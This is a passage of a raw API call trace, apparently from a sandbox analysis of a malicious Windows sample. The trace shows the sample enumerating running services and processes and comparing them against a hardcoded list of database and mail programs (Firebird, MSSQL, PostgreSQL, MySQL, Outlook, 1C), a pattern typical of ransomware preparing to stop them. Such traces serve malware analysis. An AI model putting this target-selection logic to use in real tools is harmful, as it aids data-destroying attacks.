1 [0154.124] lstrlenW (lpString="PcaSvc") returned 6 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.124] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.124] lstrlenW (lpString="PlugPlay") returned 8 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.125] lstrlenW (lpString="Power") returned 5 [0154.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.125] lstrlenW (lpString="ProfSvc") returned 7 [0154.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.125] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.125] lstrlenW (lpString="RpcSs") returned 5 [0154.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.125] lstrlenW (lpString="SamSs") returned 5 [0154.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.125] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.125] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.126] lstrlenW (lpString="Schedule") returned 8 [0154.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.126] lstrlenW (lpString="SENS") returned 4 [0154.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.126] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.126] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.126] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.126] lstrlenW (lpString="Spooler") returned 7 [0154.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0154.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0154.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0154.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0154.126] lstrlenW (lpString="SysMain") returned 7 [0154.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.126] lstrlenW (lpString="Themes") returned 6 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0154.127] lstrlenW (lpString="TrkWks") returned 6 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0154.127] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0154.127] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0154.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0154.127] lstrlenW (lpString="UxSms") returned 5 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0154.127] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0154.127] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0154.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0154.127] lstrlenW (lpString="WdiServiceHost") returned 14 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.127] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0154.127] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0154.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0154.127] lstrlenW (lpString="WdiSystemHost") returned 13 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.127] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0154.127] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0154.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0154.127] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0154.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0154.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0154.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0154.128] lstrlenW (lpString="Winmgmt") returned 7 [0154.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0154.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0154.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0154.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0154.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0154.128] lstrlenW (lpString="WPDBusEnum") returned 10 [0154.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.128] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0154.128] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0154.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0154.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0154.128] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0154.131] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.131] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.131] lstrlenW (lpString="System") returned 6 [0154.131] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0154.131] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0154.132] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0154.132] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0154.132] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0154.132] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0154.132] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0154.132] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.132] lstrlenW (lpString="smss.exe") returned 8 [0154.132] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0154.132] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0154.132] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.132] lstrlenW (lpString="csrss.exe") returned 9 [0154.132] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.133] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.133] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.133] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.133] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.133] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.133] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0154.133] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.133] lstrlenW (lpString="wininit.exe") returned 11 [0154.133] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0154.133] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0154.133] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.134] lstrlenW (lpString="csrss.exe") returned 9 [0154.134] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.134] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.134] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.134] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.134] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.134] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.134] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.134] lstrlenW (lpString="winlogon.exe") returned 12 [0154.134] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.134] lstrlenW (lpString="services.exe") returned 12 [0154.135] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.135] lstrlenW (lpString="lsass.exe") returned 9 [0154.135] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0154.135] lstrlenW (lpString="lsm.exe") returned 7 [0154.135] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.135] lstrlenW (lpString="svchost.exe") returned 11 [0154.136] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.136] lstrlenW (lpString="svchost.exe") returned 11 [0154.136] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.136] lstrlenW (lpString="svchost.exe") returned 11 [0154.136] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.136] lstrlenW (lpString="svchost.exe") returned 11 [0154.137] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.137] lstrlenW (lpString="svchost.exe") returned 11 [0154.137] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.137] lstrlenW (lpString="audiodg.exe") returned 11 [0154.137] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.137] lstrlenW (lpString="svchost.exe") returned 11 [0154.138] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0154.138] lstrlenW (lpString="userinit.exe") returned 12 [0154.138] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0154.138] lstrlenW (lpString="explorer.exe") returned 12 [0154.138] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.138] lstrlenW (lpString="dwm.exe") returned 7 [0154.138] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.139] lstrlenW (lpString="svchost.exe") returned 11 [0154.139] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0154.139] lstrlenW (lpString="n.exe") returned 5 [0154.139] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0154.139] lstrlenW (lpString="spoolsv.exe") returned 11 [0154.139] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.140] lstrlenW (lpString="svchost.exe") returned 11 [0154.140] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0154.140] lstrlenW (lpString="taskhost.exe") returned 12 [0154.140] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0154.140] lstrlenW (lpString="reader_sl.exe") returned 13 [0154.140] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0154.141] lstrlenW (lpString="rundll32.exe") returned 12 [0154.141] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0154.141] lstrlenW (lpString="n.exe") returned 5 [0154.141] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0154.141] lstrlenW (lpString="consent.exe") returned 11 [0154.141] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0154.142] CloseHandle (hObject=0x338) returned 1 [0154.142] Sleep (dwMilliseconds=0x1f4) [0154.692] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0154.692] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0154.692] GetLastError () returned 0xea [0154.692] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0154.692] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0154.693] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0154.693] lstrlenW (lpString="Appinfo") returned 7 [0154.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0154.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0154.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0154.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0154.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0154.693] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.694] lstrlenW (lpString="AudioSrv") returned 8 [0154.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0154.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0154.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0154.694] lstrlenW (lpString="BFE") returned 3 [0154.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.694] lstrlenW (lpString="CryptSvc") returned 8 